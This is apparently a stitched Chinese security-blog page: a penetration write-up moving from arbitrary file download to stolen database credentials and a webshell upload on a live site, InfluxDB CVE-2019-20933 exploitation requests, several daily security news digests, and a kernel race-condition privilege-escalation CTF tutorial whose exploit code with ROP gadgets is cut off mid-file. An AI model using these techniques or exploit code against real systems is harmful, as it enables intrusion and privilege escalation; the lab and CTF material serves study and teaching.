记一次任意文件下载到Getshell
任意文件下载(Arbitrary File Download)是一种常见的 Web 攻击技术,用于窃取服务器上任意文件的内容。攻击者利用应用程序中的漏洞,通过构造恶意请求,使应用程序将任意文件(如配置文件、敏感数据等)发送给攻击者。一旦攻击者成功利用这种漏洞,就可以从服务器上获取应用程序所拥有的任意文件,并且可以获取到这些文件的敏感信息。 在日常的渗透中,看到下载功能是可以去看一下有没有该漏洞的,利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路 在日常渗透中,应该注重前台的每个功能点,最好做个Checklist。 0x01 任意文件下载 1.进行测试 在本次渗透中 首页->资料下载->公共资料 去点击该功能进行测试 2.发现敏感路径 看到此链接,感觉很有机会,继续尝试 3.尝试下载index.php 发现成功下载,嘿嘿去找找 ThinkPHP 数据库配置文件在哪先 4.尝试下载数据库配置文件 先去百度一下,ThinkPHP3.2的目录结构 最终在/Application/Common/Conf/目录下找到了数据库配置文件 /Application/Common/Conf/config.php 0x02 尝试连接数据库 5.获取数据库账号密码 好,数据库账号密码到手,接下来看看端口开放在外网没有  发现数据库端口开在外网 6.连接数据库 成功连上数据库 7.查看管理员账号密码 这个 MD5 只能看一眼,多看一眼就是123456 0x03 寻找后台 8.寻找后台 好,后台管理员账号密码都有了,那么后台呢。。。 目录扫描没扫出来,前台仔细找找也没有 那时候卡了我好久。。。。。。 9.细心决定成败 再回到那个数据库配置文件,找到那个被忽视的神秘路径。。 原来它一直在这里等我,是我忽视它了 成功找到后台 0x04 有手就行文件上传 10.进入后台后寻找功能点 11.记住该分类 12.上传Webshell 抓包直接把jpg修改php就可以上传成功,但是没有回显 13.成功Getshell 在前台找到自己刚刚上传选择的分类,复制下载链接,即可得到Webshell地址 收工!
网络安全日报 2023年10月27日
1、YoroTrooper组织伪装成阿塞拜疆人发动网络间谍攻击 https://blog.talosintelligence.com/attributing-yorotrooper/ YoroTrooper是一个自2022年6月起就活跃的网络间谍组织,主要针对独联体国家和土耳其等欧亚地区的政府机构。研究人员高度确定该组织的成员来自哈萨克斯坦,依据是他们使用哈萨克斯坦货币和精通哈萨克语和俄语。该组织试图掩盖他们的攻击来源,采用各种手段让他们的恶意活动看起来是来自阿塞拜疆,例如使用当地的VPN出口节点。YoroTrooper的攻击目标主要集中在独联体国家,该组织在2023年5月至8月期间入侵了多个国有网站和这些国家政府官员的账户。研究人员的发现还表明,除了常 2、恶意广告攻击巴西PIX支付系统 https://securelist.com/crimeware-report-gopix-lumar-rhysida/110871/ 近日,一场恶意广告攻击利用搜索引擎上的广告链接,诱导用户下载并安装GoPIX恶意软件,从而窃取巴西的PIX即时支付系统中的资金。据研究人员称,这场攻击自2022年12月以来一直在活跃,目标是那些在搜索引擎上搜索“WhatsApp web”的用户。如果用户点击了这些广告链接,他们就会被重定向到一个假冒的WhatsApp下载页面,然后下载一个包含恶意代码的安装程序。GoPIX恶意软件的主要功能是劫持PIX支付请求,并将其替换为攻击者控制的PIX字符串,这些字符串 3、OAuth存在严重漏洞,影响多个在线服务 https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts OAuth是一种常用的跨应用访问机制,允许网站或应用访问其他网站上的用户信息,例如Facebook,但不需要提供密码。然而,近日,研究人员发现了多个在线服务的OAuth存在严重的安全漏洞,这些漏洞可能被恶意攻击者利用,获取访问令牌并劫持用户账户。这些受影响的在线服务包括Grammarly, Vidio, 和 Bukalapak等。这些漏洞已经在研究人员在2023年2月至4月期间进行负责任披露后被各自公司修复。其中,Vidio和B 4、VMWare紧急更新vCenter Server,修复两个高危漏洞 https://www.vmware.com/security/advisories/VMSA-2023-0023.html VMWare发布了一项更新,修复了其服务器管理软件vCenter Server中的一个越界写入和一个信息泄露漏洞。由于没有产品内部的解决方案,客户被建议尽快应用更新。受影响的产品是VMWare vCenter Server 7.0和8.0版本,以及VMWare Cloud Foundation 5.x和4.x版本。这两个漏洞在公共漏洞和暴露(CVE)数据库中被分别记录为CVE-2023-34048和CVE-2023-340561。CVE-2023-34048是一个越界 5、Redcliffe Labs数据泄露7TB,影响1200万患者信息 https://www.websiteplanet.com/news/redcliffe-breach-report/ Redcliffe Labs是印度最大的诊断中心之一,提供多种医疗检测服务,包括血液检测、基因检测、癌症检测等。该公司还提供移动应用程序,方便用户在线预约和查看检测结果。近日,网络安全研究员发现了一个没有密码保护的数据库,其中包含了超过1200万条医疗检测记录,涉及患者姓名、医生姓名、检测结果、诊断报告等敏感信息。这些记录总共占用了7TB的空间。研究人员立即向Redcliffe Labs发送了负责任的披露通知,并得到了该公司的回复和感谢。该公司在当天就限制了公共访问权限,但 6、国家数据局正式揭牌 https://www.news.cn/politics/2023-10/25/c_1129936737.htm 10月25日上午,国家数据局挂牌。根据《党和国家机构改革方案》,国家数据局负责协调推进数据基础制度建设,统筹数据资源整合共享和开发利用,统筹推进数字中国、数字经济、数字社会规划和建设等。 7、训练数据集“下毒”工具Nightshade可令 AI 模型“输入狗生成猫” https://www.ithome.com/0/727/542.htm 日前有黑客展示了一款名为 Nightshade 的工具,该工具可在不破坏观感的情况下轻微修改图片,若有 AI 模型在训练时使用了这些被“下毒”的图片,模型生图结果便会被毁坏。 8、调查称2023 年9月勒索软件攻击再破记录 https://www.bleepingcomputer.com/news/security/september-was-a-record-month-for-ransomware-attacks-in-2023/ NCC Group 数据显示,9 月份勒索软件组织发起了 514 次攻击。这超过了 2023 年 3 月的活动。 9、严重的 Mirth Connect 漏洞可能会暴露敏感的医疗数据 https://www.securityweek.com/critical-mirth-connect-vulnerability-could-expose-sensitive-healthcare-data/ 网络安全公司 Horizon3.ai 警告称,开源数据集成平台 Mirth Connect 受到远程代码执行漏洞的影响,无需身份验证即可利用该漏洞。 10、新的 iLeakage 侧通道攻击利用 Safari 窃取 Mac 和 iPhone 的敏感信息 https://www.securityweek.com/ileakage-attack-exploits-safari-to-steal-sensitive-data-from-macs-iphones/ 一组学术研究人员披露了一种新的 Spectre 式侧信道攻击的细节,该攻击利用 Safari 窃取 Mac、iPhone 和 iPad 上的敏感信息。这种新方法被描述为无计时器推测执行攻击并命名为iLeakage,可用于诱导 Safari 呈现任意网页并从该页面获取信息。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
记录一次时序数据库的实战测试
0x1.背景 在某次Edusrc挖掘过程中,我发现了一个404状态码的ip站如下图所示: 我的直觉告诉我,这个站不太简单。于是我信息搜集了一下端口为8086的常见服务: 当我看到这个InfluxDB的时候,我灵感突然来了,虽然我当时不知道是什么,我尝试着进行抓包看看返回包,但是多尝试一下没想到这个站点还真的是InfluxDB服务! 后续利用我先不讲,我们先好好讲一下InfluxDB是一个怎么样的数据库。 0x3.InfluxDB介绍 InfluxDB是一个由InfluxData开发的开源时序型数据库。它由Go写成,着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。 在了解了InfluxDB的基本概念之后我们得先了解一下什么是时序性数据库。 为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示: 然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示: 然后这里整理了一些常见的 InfluxQL Http Api的语句: GET /query?q=SHOW USERS #查看当前所有的数据库用户 GET /query?q=SHOW DATABASES #查看所有数据库 GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 #查询数据库中所含的表 GET /query?q=SHOW FIELD KEYS&db=某个db的名称 # 查看当前数据库所有表的字段 GET /query?q=show series&db=某个db的名称 # 查看series GET /debug/vars #debug敏感泄露 POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 这一点需要伪造jwt 0x3.本地漏洞复现 实战的利用过程就不放上来了,放上来也是厚码还不如直接本地复现讲的更清楚。 使用Vulhub在本地虚拟机上搭建: 没有搭建过vulhub靶场可以参考官方文档:https://vulhub.org/#/docs/install-docker/ 搭建好后我们直接使用如下命令: cd /vulhub/influxdb/CVE-2019-20933 docker-compose up -d 开放在默认的8086端口,环境启动后,访问xxx:8086即可开始复现: 虽然是404,但是抓包回显发现是influxdb服务 我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话,可以伪造jwt我就不多赘述了。 然后我们来进行测试: debug敏感泄露 GET /debug/vars 查看当前所有的数据库用户 GET /query?q=SHOW USERS 查看所有数据库 GET /query?q=SHOW DATABASES 查询数据库中所含的表 GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 查看当前数据库所有表的字段 GET /query?q=SHOW FIELD KEYS&db=某个db的名称 查看series GET /query?q=show series&db=某个db的名称 任意用户写 POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' GET /query?q=SHOW USERS 再来查看一下: 最后别忘了关闭容器: docker stop cve-2019-20933_web_1 0x5.总结 这篇主要是分享一下经验,也就是说不一定状态码是404的站点就一定不能利用。我相信阅读完此篇然后去复现一下,你对InfluxDB的利用肯定有不一样的理解~
网络安全日报 2023年10月26日
1、SpyNote木马冒充系统更新欺骗Android用户 https://blog.f-secure.com/take-a-note-of-spynote/ SpyNote是一种针对Android设备的恶意软件,它可以通过SMS钓鱼(或称为smishing)发送带有恶意链接的短信,诱导用户下载一个.apk文件,从而感染设备。SpyNote可以利用高级权限来记录音频和电话通话,记录用户在设备上的每一次点击,窃取用户名和密码,以及追踪用户的位置。SpyNote还可以隐藏自己的图标,阻止用户卸载它。据报道,SpyNote已经冒充了多个正常的应用程序,如Netflix、WhatsApp、Facebook等。最近,有安全研究人员发现了一个新的SpyNote变 2、前NSA雇员承认向俄罗斯间谍出售机密信息 https://www.justice.gov/opa/pr/former-nsa-employee-pleads-guilty-attempted-espionage Jareh Sebastian Dalke,31岁,来自科罗拉多州斯普林斯,是美国国家安全局(NSA)的一名信息系统安全设计师。他于2022年6月6日至7月1日在NSA工作期间,获得了多份涉及国防机密(NDI)的文件,其中有些文件被列为最高机密//敏感隔离信息(SCI)。Dalke承认,他在2022年8月至9月期间,为了证明自己有合法的访问权限和分享意愿,他使用了一个加密的电子邮件账户,向一个他认为是俄罗斯间谍的人发送了三份 3、法国篮球队ASVEL遭勒索软件攻击后数据泄露 https://ldlcasvel.com/communique-officiel-club-7/ 法国职业篮球队LDLC ASVEL(ASVEL)已经证实,在NoEscape勒索软件团伙宣称对该俱乐部发动攻击后,数据被窃取。ASVEL是一支位于维勒班纳、里昂的法国职业篮球队,由前NBA明星托尼·帕克领导。NoEscape勒索软件团伙于2023年9月29日在其暗网门户网站上发布了一张ASVEL的数据泄露页面,声称已经窃取了该俱乐部的财务、合同、员工和客户数据。该团伙还威胁说,如果不支付赎金,就会公开更多数据。截至目前,ASVEL表示没有证据表明攻击者窃取了球迷的支付数据或银行账户信息。该事件 4、多伦多 Pwn2Own 大赛首日战报!三星 Galaxy S23 被黑两次 https://www.freebuf.com/news/381712.html 加拿大多伦多举行的 Pwn2Own 2023 黑客大赛的第一天,网络安全研究人员就成功两次攻破三星 Galaxy S23。大会现场,研究人员还“演示"了针对小米 13 Pro 智能手机、打印机、智能扬声器、网络附加存储 (NAS) 设备以及 Western Digital、QNAP、Synology、Canon、Lexmark 和 Sonos 的监控摄像头等设备零日漏洞利用和漏洞链。 5、新英格兰生物实验室泄露敏感数据 https://cybernews.com/security/new-england-biolabs-leak-sensitive-data/ 新英格兰生物实验室(NEB)是一家生产和供应重组和天然酶试剂的公司,主要服务于生命科学研究领域。该公司在2023年9月18日被发现在公开的网络上暴露了两个环境文件(.env),其中包含了许多敏感信息,如数据库凭证、SMTP服务器登录信息、企业支付处理信息等。这些文件都是用于生产环境的,意味着它们可能在实时场景中用于处理该公司加拿大分部的业务。如果网络犯罪分子先发现了这些文件,他们就能够以该组织的名义发送电子邮件、访问和利用敏感数据,甚至尝试授权支付。 6、Apple 发布主要 iOS、macOS 安全更新,修补了数十个严重漏洞 https://www.securityweek.com/apple-ships-major-ios-macos-security-updates/ 苹果修补了 macOS 和 iOS 平台中的数十个严重安全漏洞,警告黑客可能会发起代码执行漏洞。该公司发布了多个公告,记录了至少21 个 iOS 安全漏洞和44 个 macOS 漏洞,这些漏洞可能导致代码执行、权限升级和敏感数据泄露。 7、Firefox、Chrome 更新补丁修复高危漏洞 https://www.securityweek.com/firefox-chrome-updates-patch-high-severity-vulnerabilities/ Mozilla 和 Google 本周宣布了 Firefox 和 Chrome 的软件更新,解决了多个高严重性漏洞,包括内存安全漏洞。周二,Mozilla 发布了 Firefox 119,修补了 11 个漏洞,其中包括 3 个高严重性问题。周二,谷歌宣布了Chrome 的软件更新,解决了两个漏洞,其中包括外部研究人员报告的一个高严重性问题。 8、CITRIX 警告管理员立即修补 NETSCALER CVE-2023-4966漏洞 https://securityaffairs.com/153016/security/citrix-warns-patch-cve-2023-4966.html Citrix 警告称,攻击活动会主动利用 NetScaler ADC 和 Gateway 设备中的漏洞 CVE-2023-4966。Citrix 敦促管理员保护所有 NetScaler ADC 和网关设备免受CVE-2023-4966漏洞的影响,该漏洞在攻击中被积极利用。 9、Winter Vivern 利用 Roundcube Webmail 服务器中的零日漏洞 https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/ 该漏洞编号为 CVE-2023-5631,允许攻击者通过特制电子邮件在 Roundcube 用户的浏览器窗口上下文中执行任意 JavaScript 代码。 10、VMware 发布针对关键 vCenter Server RCE 漏洞的补丁 https://thehackernews.com/2023/10/act-now-vmware-releases-patch-for.html VMware 发布了安全更新,以解决其 vCenter Server 软件中的一个严重漏洞。该漏洞被称为 CVE-2023-34048,允许远程执行代码,并且严重程度非常严重(CVSS 评分:9.8)。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月25日
1、1Password在Okta支持系统遭黑客攻击后发现异常行为 https://blog.1password.com/files/okta-incident/okta-incident-report.pdf 1Password是一款流行的密码管理解决方案,它在9月29日Okta支持系统被入侵后检测到其Okta实例上的可疑活动,但重申没有用户数据被访问。1Password首席技术官在周一的通知中说:“我们立即终止了这些活动,进行了调查,并发现没有用户数据或其他敏感系统被泄露,无论是面向员工的还是面向用户的。”据报道,这次入侵是利用一个被盗的凭证来实现的,该凭证是在IT团队的一名成员与Okta支持共享了一个HAR文件后获得的,威胁行为者执行了以下一系列操作: 2、密歇根大学遭黑客窃取员工和学生数据 https://publicaffairs.vpcomm.umich.edu/key-issues/august-2023-data-incident/ 2023年8月,密歇根大学的网络系统遭到了黑客的入侵,导致包括学生、申请者、校友、捐赠者、员工、病人和研究参与者在内的多个群体的个人、财务和医疗信息被泄露。黑客对服务器的非法访问持续了从8月23日到27日的四天时间,大学方面在一周后发现并披露了这一事件,并强制所有账户重置密码。大学还关闭了所有系统和在线服务,以防止进一步的损失。目前,大学正在与联邦调查局(FBI)合作,调查此次网络攻击的来源和影响,并为可能受到影响的个人提供免费的信用监控服 3、华盛顿选举委员会疑似泄露选民个人信息 https://www.bleepingcomputer.com/news/security/dc-board-of-elections-hackers-may-have-breached-entire-voter-roll/ 10月5日,华盛顿特区选举委员会(DCBOE)发现其网站服务器遭到了一名自称RansomVC的黑客的攻击,该黑客声称窃取了60万条美国选民数据,其中包括特区选民记录。DCBOE随即启动了紧急应急计划,并与联邦调查局(FBI)和国土安全部(DHS)合作展开调查。10月22日,DCBOE在推特上发布了最新的消息,称其网站服务器的托管商DataNet Systems公司无法 4、Quasar RAT利用DLL侧载技术攻击Windows系统 https://www.uptycs.com/blog/quasar-rat Quasar RAT是一种开源的远程管理工具(RAT),也被称为CinaRAT或Yggdrasil,是用C#编写的。这种工具可以执行各种恶意功能,如收集系统数据,运行应用程序,传输文件,记录键盘输入,截取屏幕或摄像头画面,恢复系统密码,以及监控文件管理器,启动管理器,远程桌面等操作。Quasar RAT利用了一种称为DLL侧载的技术,它涉及利用受信任的Microsoft文件,包括“ctfmon.exe”和“calc.exe”,来实现其目标。这种技术利用了这些文件在Windows环境中的固有信任。Quasar RAT 5、卡巴斯基揭秘“三角测量行动”iOS 零点击攻击中使用的隐秘技术 https://securelist.com/triangulation-validators-modules/110847/ 周一,卡巴斯基发布了一份新报告,详细介绍了三角测量行动背后的威胁行为者所采用的各种隐形技术,以及攻击中使用的一些组件。 6、针对 VMWARE ARIA OPERATIONS FOR LOGS 漏洞的POC已发布 https://securityaffairs.com/152977/hacking/vmware-aria-operations-for-logs-flaw-poc.html VMware 警告客户,VMware Aria Operations for Logs(以前称为 vRealize Log Insight)中存在身份验证绕过漏洞的概念验证 (PoC) 漏洞利用代码已发布,请立即修补。该漏洞的编号为 CVE-2023-34051 。 7、印度居民的数亿条 PII 记录(包括 Aadhaar 卡)正在暗网上出售 https://securityaffairs.com/152957/security/pii-indian-citizens-dark-web.html 10 月初,Resecurity 的 HUNTER (HUMINT) 部门发现了数亿条属于印度居民的个人身份信息 (PII) 记录,其中包括在暗网上出售的 Aadhaar 卡。据 UIDAI 网站称, Aadhaar是一个独特的 12 位个人识别码,“由印度唯一身份识别机构代表印度政府颁发” 。 8、以色列正在新兴的“深度伪造”网络战线上与哈马斯作战 https://www.secrss.com/articles/59848 随着以色列与哈马斯冲突加剧,网络空间将再次成为实时决策和舆论的关键战场,深度造假技术也带来了新的威胁。自以色列和哈马斯冲突爆发以来,由人工智能生成的关于冲突的虚假视频充斥着世界各地的媒体。 9、巴基斯坦和阿富汗被 DoNot Team 黑客组织“盯上了” https://www.freebuf.com/news/381613.html 网络安全公司卡巴斯基在其 2023 年第三季度 APT 趋势报告中透露,一个名为 DoNot Team 的黑客组织与使用名为 Firebird 的新型基于 .NET 的后门,针对巴基斯坦和阿富汗发起了网络攻击。 10、乌克兰国家安全部门参与对俄罗斯最大私人银行的黑客攻击 https://therecord.media/sbu-involved-in-alfa-bank-hack 乌克兰黑客与该国安全部门 SBU 合作,入侵了俄罗斯最大的私人银行,该部门的一位消息人士向 Recorded Future News 证实。据报道,上周,两个亲乌克兰黑客组织 KibOrg 和 NLB 侵入了 Alfa-Bank,并声称获得了超过 3000 万客户的数据,包括他们的姓名、出生日期、账号和电话号码。他们的官方网站上有一个帖子。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月24日
1、Pure Clipper恶意软件针对意大利用户发起攻击 https://cyble.com/blog/fileless-pure-clipper-malware-italian-users-in-the-crosshairs/ 近日,研究人员发现了一个由威胁行为者(TA)通过一个伪造的Tor项目网站进行的操作。该TA在这个操作中传播了Pure Clipper恶意软件。Clipper是一种用于窃取或操纵与加密货币相关的数据的恶意软件,特别是加密货币钱包地址。Clipper恶意软件通常通过监视用户的剪贴板来操作,剪贴板是临时存储复制信息的地方。当它检测到复制了一个加密货币钱包地址(例如,比特币或以太坊地址)时,它会用攻击者控制的地址替换该地址。因此, 2、以色列-巴勒斯坦冲突引发网络攻击风暴 https://cyble.com/blog/israel-palestine-conflict-and-looming-threat-on-critical-infra/ 2023年10月,以色列和巴勒斯坦之间的紧张局势再次升级,引发了一场全面的武装冲突。这两个国家自20世纪初以来就一直存在争端,自2008年以来发生了多次激烈的冲突。这场战争也引起了来自黑客活动分子和威胁行为者(TAs)的大量报复性攻击,这与2012年以来观察到的趋势相符。此外,网络攻击通常是现代战争中的辅助手段,这一趋势在2022年俄罗斯-乌克兰冲突爆发之前就已经出现。研究人员一直在收集特定的情报,以在黑客活动分子和不同 3、TetrisPhantom黑客利用安全U盘窃取政府系统数据 https://securelist.com/apt-trends-report-q3-2023/110752/ 一种新的复杂威胁,被追踪为“TetrisPhantom”,一直在利用被感染的安全U盘,针对亚太地区的政府系统进行攻击。安全U盘在设备的加密部分存储文件,用于在系统之间安全地传输数据,包括那些在隔离环境中的系统。通过自定义软件,可以根据用户提供的密码解密U盘中的内容。这种软件之一是UTetris.exe,它被捆绑在U盘的未加密部分。安全研究人员发现了UTetris应用程序的恶意版本,它们被部署在安全U盘上,作为一场攻击活动的一部分,该活动已经持续了至少几年,并且针对亚太地区的政府机 4、Chrome将推出新的“IP保护”功能,隐藏用户的IP地址 https://www.bleepingcomputer.com/news/google/google-chromes-new-ip-protection-will-hide-users-ip-addresses/ Chrome是一款流行的网络浏览器,它提供了许多功能和选项,以提高用户的网络体验和安全性。最近,谷歌正在准备测试一种新的“IP保护”功能,该功能可以通过使用代理服务器来掩盖用户的IP地址,从而增强用户的隐私。IP地址是一个唯一的数字标识符,它可以显示用户的网络位置和设备信息。一些网站和服务可能会收集和追踪用户的IP地址,以进行广告定向、分析或审查等目的。因此,隐藏或更改IP地址可 5、Deepfake!黑客冒充非洲联盟主席与多位欧洲领导人通话 https://cybernews.com/security/deepfake-african-union-chief-fari/ 该报道称,黑客在通话过程中使用了深度伪造的视频篡改技术来冒充主席。同时,非洲联盟(AU)在一份声明中说,有人使用伪造的电子邮件地址要求与外国领导人通话。 6、SolarWinds 修复了 Access Rights Manager 中的严重漏洞 https://www.securityweek.com/solarwinds-patches-high-severity-flaws-in-access-rights-manager/ 企业软件供应商 SolarWinds 已针对其访问权限管理器 (ARM) 中的八个高严重性漏洞发布了补丁,其中包括三个无需身份验证即可利用的远程代码执行问题。 7、思科警告第二个 IOS XE 零日漏洞被用于感染全球设备 https://securityaffairs.com/152924/hacking/cisco-ios-xe-zero-day-cve-2023-20273.html 思科发现了第二个 IOS XE 零日漏洞,编号为 CVE-2023-20273,该漏洞在野外攻击中被积极利用。 8、Ragnar Locker 勒索软件组织的主要成员在欧洲被捕 https://www.europol.europa.eu/media-press/newsroom/news/ragnar-locker-ransomware-gang-taken-down-international-police-swoop 在欧洲刑警组织等机构的协调下,欧洲多国对 Ragnar Locker 勒索软件组织的主要成员展开了突击行动。该组织的关键成员于 10 月 16 日在法国巴黎被捕,其在捷克的家遭到搜查。另外五名嫌疑人分别在西班牙和拉脱维亚接受询问。Ragnar Locker 的基础设施在荷兰、德国和瑞典查封,暗网上的数据泄露网站在瑞典被关闭。Ragnar Locke 9、BlackCat再升级!可用全新Munchkin工具进行隐形攻击 https://www.bleepingcomputer.com/news/security/blackcat-ransomware-uses-new-munchkin-linux-vm-in-stealthy-attacks/ BlackCat/ALPHV 勒索软件最近开始使用一种名为 "Munchkin "的新工具,该工具可利用虚拟机在网络设备上隐秘地部署加密程序。 10、复杂的MATA框架打击东欧石油和天然气公司 https://thehackernews.com/2023/10/sophisticated-mata-framework-strikes.html 卡巴斯基在本周发布的一份新的详尽报告中表示:攻击背后的行为者使用鱼叉式网络钓鱼邮件针对几名受害者,其中一些人通过互联网浏览器下载文件感染了Windows可执行恶意软件。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。 LK01-4 这里以一道例题作为例子介绍条件竞争在内核中的利用。 open模块 题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4 open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。 static int module_open(struct inode *inode, struct file *file) {  printk(KERN_INFO "module_open called\n");  if (mutex) {    printk(KERN_INFO "resource is busy");    return -EBUSY; }  mutex = 1;  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);  if (!g_buf) {    printk(KERN_INFO "kmalloc failed");    return -ENOMEM; }  return 0; } 例如以下代码,连续执行两遍open模块时,第二次执行会返回-1。 #include <stdio.h> #include <fcntl.h> int main() { int fd1 = open("/dev/holstein",O_RDWR); printf("fd1:%d\n",fd1); int fd2 = open("/dev/holstein",O_RDWR); printf("fd2:%d\n",fd2); } 单线程下执行的流程如下。 但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。 POC 为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。 首先是POC使用了3与4作为新打开的文件描述符,这是因为0,1,2是标准流,因此新打开的文件应该是从3开始分配。但是避免不是从3开始分配,我们可以使用作者提供的exp,打开临时文件去判断下一个文件描述符是什么。 其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过open模块获取了文件描述符,那么mutext已经被设置为1,那么就不会存在mutext被设置为1之前的情况了。 然后在文件描述符为4的时候,说明已经通过条件竞争成功执行两次open模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3,而线程二获取的文件描述符为4,但是线程1先进入了if (fd != -1 && success == 0)的判断,那么就会把文件描述符3给关闭了,就导致即使正常执行了两次open模块,但是只有4能够使用。 最后就是验证3和4是否指向同一块内存了。 #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <pthread.h> #include <string.h> int success = 0; void *thread_function(void *arg) { while(1) { while (!success) { int fd = open("/dev/holstein",O_RDWR); if (fd == 4) success = 1; if (fd != -1 && success == 0) close(fd); } if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1) { close(3); close(4); success = 0; } else break; } } int main() { pthread_t thread_id1, thread_id2; if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0) { fprintf(stderr, "thread error\n"); return 1; } if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0) { fprintf(stderr, "thread error\n"); return 1; } pthread_join(thread_id1, NULL); pthread_join(thread_id2, NULL); char temp[0x20]= {}; write(3, "abcdefg", 7); read(4, temp, 7); if (strcmp(temp, "abcdefg")) { puts("fail\n"); exit(-1); } printf("sucess\n"); } run.sh 这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。 #!/bin/sh qemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \    -no-reboot \    -cpu qemu64,+smap,+smep \    -smp 2 \    -monitor /dev/null \    -initrd initramfs.cpio.gz \    -net nic,model=virtio \    -net user \    -s exp 因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。 #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <pthread.h> #include <string.h> //0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret; //0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re //0xffffffff810b13c5: pop rdi; ret; //ffffffff81072580 T prepare_kernel_cred //ffffffff810723e0 T commit_creds //0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; //0xffffffff81c6bfe0: pop rcx; ret; //ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode //0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret; #define push_rdx_pop_rsp 0x137da8 #define pop_rdi_ret 0xb13c5 #define prepare_kernel_cred 0x72580 #define commit_creds 0x723e0 #define pop_rcx_ret 0xc6bfe0 #define mov_rdi_rax 0x65094b #define swapgs_restore 0x800e10 #define pop_rcx_5 0x12b0 unsigned long user_cs, user_sp, user_ss, user_rflags; void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n", user_rflags); printf("[#] backdoor: 0x%lx \n\n", backdoor); } int success = 0; void *thread_function(void *arg) { while(1) { while (!success) { int fd = open("/dev/holstein",O_RDWR); if (fd == 4) success = 1; if (fd != -1 && success == 0) close(fd); } if 